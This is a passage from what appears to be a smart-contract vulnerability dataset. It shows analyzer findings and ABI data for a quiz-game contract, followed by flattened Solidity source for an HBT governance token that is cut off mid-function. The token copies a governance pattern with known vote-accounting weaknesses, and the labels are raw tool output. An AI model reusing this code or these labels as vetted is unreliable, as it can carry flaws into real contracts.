} | [{"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["3"]}] | [{"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheQuizGame.sol": [32, 29, 30, 31]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheQuizGame.sol": [41, 42, 43]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheQuizGame.sol": [20, 21, 22, 23, 24, 25, 26, 27]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheQuizGame.sol": [46]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheQuizGame.sol": [34, 35, 36, 37, 38, 39]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TheQuizGame.sol": [1]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"TheQuizGame.sol": [42]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TheQuizGame.sol": [20]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TheQuizGame.sol": [34]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TheQuizGame.sol": [5, 6, 7, 8, 9, 10, 11, 12]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TheQuizGame.sol": [32, 29, 30, 31]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TheQuizGame.sol": [34]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TheQuizGame.sol": [5]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TheQuizGame.sol": [34, 35, 36, 37, 38, 39]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TheQuizGame.sol": [20]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TheQuizGame.sol": [20, 21, 22, 23, 24, 25, 26, 27]}}] | [{"error": "Integer Underflow.", "line": 8, "level": "Warning"}, {"error": "Integer Underflow.", "line": 14, "level": "Warning"}, {"error": "Integer Overflow.", "line": 8, "level": "Warning"}, {"error": "Integer Overflow.", "line": 20, "level": "Warning"}, {"error": "Integer Overflow.", "line": 34, "level": "Warning"}, {"error": "Transaction-Ordering Dependency.", "line": 10, "level": "Warning"}, {"error": "Transaction-Ordering Dependency.", "line": 31, "level": "Warning"}] | [{"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 46, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 20, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 20, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 34, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 16, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 18, "severity": 1}] | [{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"StartTheGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Try","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"NewQuestion","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newAddress","type":"address"}],"name":"newQuestioner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"StopGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}] | v0.4.20+commit.3155dd80 | true | 200 | Default | false | bzzr://6bdc56813581e4c17608ea458dd696c78f6256414fd1a53621b68bd803ec1575 |
||||
HBTToken | 0x32fd949e1953b21b7a8232ef4259cd708b4e0847 | Solidity | // File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/HBTToken.sol
pragma solidity 0.6.12;
// SushiToken with Governance.
contract HBTToken is ERC20("HBTToken", "HBT"), Ownable {
mapping (address => bool) public allowMintAddr; //铸币白名单
uint256 private _capacity;
constructor () public {
_capacity = 1000000000000000000000000000;
}
//最大发行量
function capacity() public view returns (uint256) {
return _capacity;
}
//设置白名单
function setAllowMintAddr(address _address,bool _bool) public onlyOwner {
allowMintAddr[_address] = _bool;
}
//获取白名单
function allowMintAddrInfo(address _address) external view returns(bool) {
return allowMintAddr[_address];
}
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
require( totalSupply().add(_amount) <= _capacity, "ERC20: Maximum capacity exceeded");
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
//销毁
function burn(uint256 _amount) public onlyOwner {
address ownerAddr = owner();
require(balanceOf(ownerAddr) >= _amount,"ERC20: Exceed the user's amount");
_burn(ownerAddr, _amount);
}
//白名单铸币
function allowMint(address _to, uint256 _amount) public {
require(allowMintAddr[msg.sender],"HBT:The address is not in the allowed range");
require( totalSupply().add(_amount) <= _capacity, "ERC20: Maximum capacity exceeded");
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "HBT::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "HBT::delegateBySig: invalid nonce");
require(now <= expiry, "HBT::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "HBT::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying HBTs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "HBT::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
